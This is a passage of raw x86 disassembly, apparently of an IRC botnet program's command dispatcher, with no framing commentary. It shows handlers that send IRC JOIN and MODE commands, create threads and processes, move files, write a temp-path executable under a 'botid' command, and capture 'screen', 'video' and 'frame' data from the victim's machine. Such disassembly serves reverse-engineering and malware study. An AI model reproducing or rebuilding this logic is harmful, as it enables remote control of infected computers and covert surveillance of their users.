		jnz	short loc_41274D
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436040
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_412745:				; CODE XREF: sub_40EC43+3B10j
		push	32h
		call	dword_423064	; Sleep

loc_41274D:				; CODE XREF: sub_40EC43+3AEFj
		cmp	[ebp+var_122C],	ebx
		jz	short loc_412745
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_41275A:				; CODE XREF: sub_40EC43+2557j
					; sub_40EC43+256Ej
		push	[ebp+arg_18]
		call	sub_41751F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_6D4], eax
		jle	loc_41284A
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_85C]
		push	esi
		push	eax
		call	sub_41752A
		xor	eax, eax
		cmp	[ebp+var_94E], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_6D0], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_860], eax
		lea	eax, [ebp+var_75C]
		push	esi
		push	eax
		call	sub_41752A
		mov	eax, [ebp+var_4]
		push	[ebp+arg_18]
		mov	[ebp+var_6CC], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6C8], eax
		push	edi
		push	offset unk_436000
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	0Dh
		push	eax
		call	sub_416A7A
		add	esp, 38h
		mov	[ebp+var_6DC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_401444
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_6DC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_41283D
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435FB8
		jmp	loc_410B68
; ---------------------------------------------------------------------------

loc_412835:				; CODE XREF: sub_40EC43+3C00j
		push	32h
		call	dword_423064	; Sleep

loc_41283D:				; CODE XREF: sub_40EC43+3BDFj
		cmp	[ebp+var_6C4], ebx
		jz	short loc_412835
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_41284A:				; CODE XREF: sub_40EC43+3B28j
		push	offset unk_435F70
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_412854:				; CODE XREF: sub_40EC43+2529j
					; sub_40EC43+2540j
		push	[ebp+arg_18]
		push	edi
		call	dword_42316C	; MoveFileA
		test	eax, eax
		jz	short loc_412881
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2EC]
		push	edi
		push	offset unk_435F38
		push	200h
		push	eax
		call	sub_41752A
		jmp	loc_414471
; ---------------------------------------------------------------------------

loc_412881:				; CODE XREF: sub_40EC43+3C1Dj
		push	offset dword_435F1C
		call	sub_40A863
		push	eax
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 10h
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_4128A5:				; CODE XREF: sub_40EC43+24FBj
					; sub_40EC43+2512j
		push	edi
		lea	eax, [ebp+var_1654]
		push	104h
		push	eax
		call	sub_41752A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4128DF
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4128DF
		push	eax
		lea	eax, [ebp+var_1550]
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_4128DF:				; CODE XREF: sub_40EC43+3C7Aj
					; sub_40EC43+3C8Bj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_16D4]
		push	80h
		push	eax
		call	sub_41752A
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_16D8],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1448],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1444],	eax
		lea	eax, [ebp+var_1550]
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	offset unk_435EDC
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	1Ch
		push	eax
		call	sub_416A7A
		add	esp, 2Ch
		mov	[ebp+var_144C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_16D8]
		push	ebx
		push	eax
		push	offset sub_408C12
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_144C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_4129A4
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435E90

loc_412988:				; CODE XREF: sub_40EC43+A55j
					; sub_40EC43+A7Bj ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_41299C:				; CODE XREF: sub_40EC43+3D67j
		push	32h
		call	dword_423064	; Sleep

loc_4129A4:				; CODE XREF: sub_40EC43+3D37j
		cmp	[ebp+var_1440],	ebx
		jz	short loc_41299C
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_4129B1:				; CODE XREF: sub_40EC43+24CDj
					; sub_40EC43+24E4j
		push	44h
		lea	eax, [ebp+var_330]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417030
		mov	[ebp+var_330], esi
		xor	esi, esi
		inc	esi
		push	edi
		mov	[ebp+var_304], esi
		mov	word ptr [ebp+var_300],	bx
		call	sub_41751F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4129EE
		mov	word ptr [ebp+var_300],	5

loc_4129EE:				; CODE XREF: sub_40EC43+3DA0j
		cmp	[ebp+var_C], ebx
		jz	loc_4115BE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417580
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_4115BE
		lea	eax, [ebp+var_CC4]
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_423120	; CreateProcessA
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jnz	short loc_412A3F
		push	offset unk_435E5C
		jmp	loc_410E2E
; ---------------------------------------------------------------------------

loc_412A3F:				; CODE XREF: sub_40EC43+3DF0j
		push	edi
		push	offset dword_435E34
		jmp	loc_4115B5
; ---------------------------------------------------------------------------

loc_412A4A:				; CODE XREF: sub_40EC43+249Fj
					; sub_40EC43+24B6j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412BBD
		lea	eax, [ebp+var_AC4]
		push	eax
		push	104h
		call	dword_42312C	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_F74]
		push	edi
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_CD0]
		push	eax
		call	sub_415762
		push	eax
		lea	eax, [ebp+var_AC4]
		push	eax
		lea	eax, [ebp+var_E74]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_416FB6
		mov	eax, [ebp+esi+var_88]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_D70], 1
		mov	[ebp+var_D6C], ebx
		jz	short loc_412ADC
		push	10h
		push	ebx
		push	eax
		call	sub_41873B
		add	esp, 0Ch
		mov	[ebp+var_D64], eax
		jmp	short loc_412AE2
; ---------------------------------------------------------------------------

loc_412ADC:				; CODE XREF: sub_40EC43+3E83j
		mov	[ebp+var_D64], ebx

loc_412AE2:				; CODE XREF: sub_40EC43+3E97j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412AFC
		push	esi
		call	sub_41751F
		pop	ecx
		mov	[ebp+var_D68], eax
		jmp	short loc_412B02
; ---------------------------------------------------------------------------

loc_412AFC:				; CODE XREF: sub_40EC43+3EA8j
		mov	[ebp+var_D68], ebx

loc_412B02:				; CODE XREF: sub_40EC43+3EB7j
		movzx	eax, [ebp+var_95B]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_D60], eax
		lea	eax, [ebp+var_FF4]
		mov	[ebp+var_FF8], esi
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_D58], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_D5C], eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_435DEC
		push	eax
		call	sub_416FB6
		push	esi
		lea	eax, [ebp+var_2EC]
		push	17h
		push	eax
		call	sub_416A7A
		add	esp, 24h
		mov	[ebp+var_D74], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF8]
		push	ebx
		push	eax
		push	offset sub_40C90D
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_D74]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_412BB0
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435DA0
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_412BA8:				; CODE XREF: sub_40EC43+3F73j
		push	32h
		call	dword_423064	; Sleep

loc_412BB0:				; CODE XREF: sub_40EC43+3F52j
		cmp	[ebp+var_D54], ebx
		jz	short loc_412BA8
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_412BBD:				; CODE XREF: sub_40EC43+3E18j
		push	offset unk_435D48
		jmp	loc_410E28
; ---------------------------------------------------------------------------

loc_412BC7:				; CODE XREF: sub_40EC43+2471j
					; sub_40EC43+2488j
		push	[ebp+var_90]
		push	offset dword_437B40
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F098
		cmp	[ebp+var_C], ebx
		jz	loc_40F098
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417580
		push	eax
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_435D38
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2EC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418910
		push	edi
		call	sub_41751F
		add	esp, 30h
		test	eax, eax
		jle	short loc_412C4E
		push	edi
		call	sub_41751F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_423064	; Sleep

loc_412C4E:				; CODE XREF: sub_40EC43+3FF5j
		push	offset dword_435D14
		call	sub_40BD8D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_412C62:				; CODE XREF: sub_40EC43+2443j
					; sub_40EC43+245Aj
		push	[ebp+var_90]
		push	offset dword_437B40
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F098
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417580
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4173D0
		add	esp, 10h
		test	eax, eax
		push	esi
		lea	eax, [ebp+var_2EC]
		jz	short loc_412D1E
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_435D38
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2EC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418910
		push	esi
		lea	eax, [ebp+var_2EC]
		push	offset dword_435CE4
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		push	edi
		call	sub_41751F
		add	esp, 38h
		test	eax, eax
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_412D1E:				; CODE XREF: sub_40EC43+406Aj
		push	offset dword_435CA0
		jmp	loc_4133BB
; ---------------------------------------------------------------------------

loc_412D28:				; CODE XREF: sub_40EC43+2415j
					; sub_40EC43+242Cj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2EC]
		push	offset dword_435C98
		push	eax
		call	sub_416FB6
		push	edi
		call	sub_41751F
		add	esp, 10h

loc_412D45:				; CODE XREF: sub_40EC43+4169j
		test	eax, eax
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414CDE

loc_412D5F:				; CODE XREF: sub_40EC43+4C9Bj
		lea	eax, [ebp+var_2EC]
		push	eax
		push	offset dword_4275E0
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	sub_40D430
		jmp	loc_414958
; ---------------------------------------------------------------------------

loc_412D88:				; CODE XREF: sub_40EC43+23E7j
					; sub_40EC43+23FEj
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_18]
		push	offset dword_435C8C
		push	eax
		call	sub_416FB6
		push	edi
		call	sub_41751F
		add	esp, 14h
		jmp	short loc_412D45
; ---------------------------------------------------------------------------

loc_412DAE:				; CODE XREF: sub_40EC43+23B9j
					; sub_40EC43+23D0j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2EC]
		push	offset dword_435C84
		push	eax
		call	sub_416FB6
		push	edi
		call	sub_41751F
		add	esp, 10h
		test	eax, eax
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414CDE
		lea	eax, [ebp+var_2EC]
		push	eax
		push	offset dword_4275E0
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	sub_40D430
		push	[ebp+arg_18]
		push	edi
		push	offset dword_435C58

loc_412E12:				; CODE XREF: sub_40EC43+4256j
					; sub_40EC43+42C1j ...
		call	sub_40BE01
		jmp	loc_414632
; ---------------------------------------------------------------------------

loc_412E1C:				; CODE XREF: sub_40EC43+238Bj
					; sub_40EC43+23A2j
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417580
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_412E4D
		push	esi
		lea	eax, [ebp+var_2EC]
		push	offset dword_435C50
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_412E4D:				; CODE XREF: sub_40EC43+41F3j
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414CDE
		lea	eax, [ebp+var_2EC]
		push	eax
		push	offset dword_4275E0
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	sub_40D430
		push	esi
		push	edi
		push	offset dword_435C24
		jmp	loc_412E12
; ---------------------------------------------------------------------------

loc_412E9E:				; CODE XREF: sub_40EC43+235Dj
					; sub_40EC43+2374j
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417580
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414CDE
		push	edi
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jle	loc_414CDE
		push	edi
		call	sub_41751F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414CDE
		push	esi
		push	offset dword_4275E0
		push	edi
		call	sub_41751F
		imul	eax, 234h
		pop	ecx
		push	dword_444574[eax]
		call	sub_40D430
		push	esi
		push	edi
		push	offset dword_435BF8
		jmp	loc_412E12
; ---------------------------------------------------------------------------

loc_412F09:				; CODE XREF: sub_40EC43+232Fj
					; sub_40EC43+2346j
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	edi
		push	[ebp+var_C]
		call	sub_417580
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414CDE
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	esi
		push	offset dword_435BC0
		jmp	loc_413ABA
; ---------------------------------------------------------------------------

loc_412F40:				; CODE XREF: sub_40EC43+2301j
					; sub_40EC43+2318j
		push	[ebp+var_90]
		push	offset dword_437B40

loc_412F4B:				; DATA XREF: .data:off_42D03Co
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F098
		push	[ebp+arg_18]
		push	offset dword_435BB4
		push	[ebp+arg_4]
		call	sub_40D430
		push	edi
		call	sub_41751F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_423064	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		push	offset dword_435B90
		call	sub_40BD8D
		jmp	loc_413ABF
; ---------------------------------------------------------------------------

loc_412FA6:				; CODE XREF: sub_40EC43+22D3j
					; sub_40EC43+22EAj
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	edi
		call	sub_4177B0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_4177B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417580
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414CDE
		push	esi
		lea	eax, [ebp+var_2EC]
		push	offset dword_4363CC
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D476
		push	esi
		push	edi
		push	offset dword_435B64
		call	sub_40BE01
		add	esp, 2Ch
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_413014:				; CODE XREF: sub_40EC43+22A5j
					; sub_40EC43+22BCj
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	edi
		call	sub_4177B0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_4177B0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417580
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414CDE
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D476
		push	esi
		push	edi
		push	offset dword_435B38
		call	sub_40BE01

loc_413062:				; CODE XREF: sub_40EC43+3005j
		add	esp, 20h
		jmp	loc_414CDE
; ---------------------------------------------------------------------------

loc_41306A:				; CODE XREF: sub_40EC43+2277j
					; sub_40EC43+228Ej
		cmp	[ebp+var_C], ebx
		jz	loc_40F098
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F098
		push	eax
		push	edi
		call	sub_40BC95
		push	edi
		lea	eax, [ebp+var_2EC]
		push	offset dword_435B0C
		push	eax
		call	sub_416FB6
		add	esp, 14h
		jmp	loc_41166A
; ---------------------------------------------------------------------------

loc_4130A9:				; CODE XREF: sub_40EC43+2237j
					; sub_40EC43+224Ej
		push	edi
		push	[ebp+arg_1C]
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414CDE
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_413140
		push	esi
		push	[ebp+var_C]
		call	sub_417580
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2EC]
		jz	short loc_41312E
		push	esi
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_435D38
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2EC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418910
		push	esi
		push	edi
		lea	eax, [ebp+var_2EC]
		push	offset dword_435AD8
		push	eax
		call	sub_416FB6
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_41351E
; ---------------------------------------------------------------------------

loc_41312E:				; CODE XREF: sub_40EC43+4499j
		push	offset dword_435A98
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	loc_41351E
; ---------------------------------------------------------------------------

loc_413140:				; CODE XREF: sub_40EC43+4482j
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40B9A1
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		push	edi
		push	offset dword_435A70
		lea	eax, [ebp+var_2EC]
		push	200h
		push	eax
		call	sub_41752A
		add	esp, 24h
		jmp	loc_41351E
; ---------------------------------------------------------------------------

loc_413187:				; CODE XREF: sub_40EC43+2209j
					; sub_40EC43+2220j
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131EA
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_4131D7
		push	[ebp+esi+var_8C]
		call	sub_4083F0
		cmp	eax, 1
		pop	ecx
		lea	eax, [ebp+var_2EC]
		jnz	short loc_4131D0
		push	[ebp+esi+var_8C]
		push	offset dword_435A2C
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	short loc_4131EA
; ---------------------------------------------------------------------------

loc_4131D0:				; CODE XREF: sub_40EC43+4574j
		push	offset dword_4359F0
		jmp	short loc_4131E2
; ---------------------------------------------------------------------------

loc_4131D7:				; CODE XREF: sub_40EC43+455Cj
		push	offset dword_4359A8
		lea	eax, [ebp+var_2EC]

loc_4131E2:				; CODE XREF: sub_40EC43+4592j
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_4131EA:				; CODE XREF: sub_40EC43+4553j
					; sub_40EC43+458Bj
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413281
		mov	[ebp+arg_10], ebx

loc_413202:				; CODE XREF: sub_40EC43+4629j
		lea	eax, [ebp+var_8C0]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_AC0]
		push	0FFh
		push	eax
		push	[ebp+arg_10]
		call	dword_43EB54
		test	eax, eax
		jz	short loc_413265
		lea	eax, [ebp+var_8C0]
		push	eax
		lea	eax, [ebp+var_AC0]
		push	eax
		lea	eax, [ebp+var_2924]
		push	[ebp+arg_10]
		push	offset dword_43596C
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2924]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 28h

loc_413265:				; CODE XREF: sub_40EC43+45E2j
		inc	[ebp+arg_10]
		cmp	[ebp+arg_10], 0Ah
		jl	short loc_413202
		lea	eax, [ebp+var_2EC]
		push	offset dword_435938
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_413281:				; CODE XREF: sub_40EC43+45B6j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413327
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413314
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_413314
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_413314
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_413314
		push	eax
		call	sub_41751F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41751F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41751F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_40862B
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jnz	short loc_41330D
		push	[ebp+esi+var_8C]
		push	offset dword_4358F4
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	short loc_413327
; ---------------------------------------------------------------------------

loc_41330D:				; CODE XREF: sub_40EC43+46B1j
		push	offset dword_4358B0
		jmp	short loc_41331F
; ---------------------------------------------------------------------------

loc_413314:				; CODE XREF: sub_40EC43+465Aj
					; sub_40EC43+4663j ...
		push	offset dword_435868
		lea	eax, [ebp+var_2EC]

loc_41331F:				; CODE XREF: sub_40EC43+46CFj
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_413327:				; CODE XREF: sub_40EC43+464Dj
					; sub_40EC43+46C8j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FD
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_4133D3
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_4133D3
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_4133D3
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_4133D3
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_4133D3
		push	esi
		call	sub_41751F
		pop	ecx
		push	eax
		push	edi
		call	sub_41751F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41751F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41751F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_408824
		add	esp, 14h
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jnz	short loc_4133C9
		push	[ebp+arg_18]
		push	offset dword_435828

loc_4133BB:				; CODE XREF: sub_40EC43+40E0j
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	loc_4134FD
; ---------------------------------------------------------------------------

loc_4133C9:				; CODE XREF: sub_40EC43+476Ej
		push	offset dword_4357D8
		jmp	loc_4134F5
; ---------------------------------------------------------------------------

loc_4133D3:				; CODE XREF: sub_40EC43+4705j
					; sub_40EC43+4717j ...
		push	offset dword_435788
		lea	eax, [ebp+var_2EC]
		jmp	loc_4134F5
; ---------------------------------------------------------------------------

loc_4133E3:				; CODE XREF: sub_40EC43+1C60j
					; sub_40EC43+1C77j
		push	offset aR	; "r"
		push	edi
		call	sub_4176A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41345D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_418D0C
		add	esp, 0Ch
		jmp	short loc_413439
; ---------------------------------------------------------------------------

loc_41340E:				; CODE XREF: sub_40EC43+47F8j
		push	1
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		push	esi
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_418D0C
		add	esp, 20h

loc_413439:				; CODE XREF: sub_40EC43+47C9j
		test	eax, eax
		jnz	short loc_41340E
		push	esi
		call	sub_417600
		push	edi
		lea	eax, [ebp+var_2EC]
		push	offset dword_435750
		push	eax
		call	sub_416FB6
		add	esp, 10h
		jmp	loc_4115DF
; ---------------------------------------------------------------------------

loc_41345D:				; CODE XREF: sub_40EC43+47B1j
		push	edi
		push	offset dword_435720
		jmp	loc_4115AF
; ---------------------------------------------------------------------------

loc_413468:				; CODE XREF: sub_40EC43+1C32j
					; sub_40EC43+1C49j
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	edi
		push	[ebp+var_C]
		call	sub_417580
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414CDE
		push	offset asc_4296D4 ; "\n"
		push	esi
		call	sub_4176D0
		push	esi
		call	sub_40B184
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jnz	short loc_4134AB
		push	offset dword_4356E4
		jmp	short loc_4134F5
; ---------------------------------------------------------------------------

loc_4134AB:				; CODE XREF: sub_40EC43+485Fj
		push	esi
		push	offset dword_4356BC
		push	eax
		call	sub_416FB6
		add	esp, 0Ch
		jmp	short loc_41351E
; ---------------------------------------------------------------------------

loc_4134BC:				; CODE XREF: sub_40EC43+1C04j
					; sub_40EC43+1C1Bj
		cmp	[ebp+var_C], ebx
		jz	loc_414CDE
		push	edi
		push	[ebp+var_C]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414CDE
		push	eax
		call	sub_40A928
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2EC]
		jnz	short loc_4134F0
		push	offset unk_435690
		jmp	short loc_4134F5
; ---------------------------------------------------------------------------

loc_4134F0:				; CODE XREF: sub_40EC43+48A4j
		push	offset dword_435664

loc_4134F5:				; CODE XREF: sub_40EC43+478Bj
					; sub_40EC43+479Bj ...
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx

loc_4134FD:				; CODE XREF: sub_40EC43+46F3j
					; sub_40EC43+4781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41351E
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_41351E:				; CODE XREF: sub_40EC43+44E6j
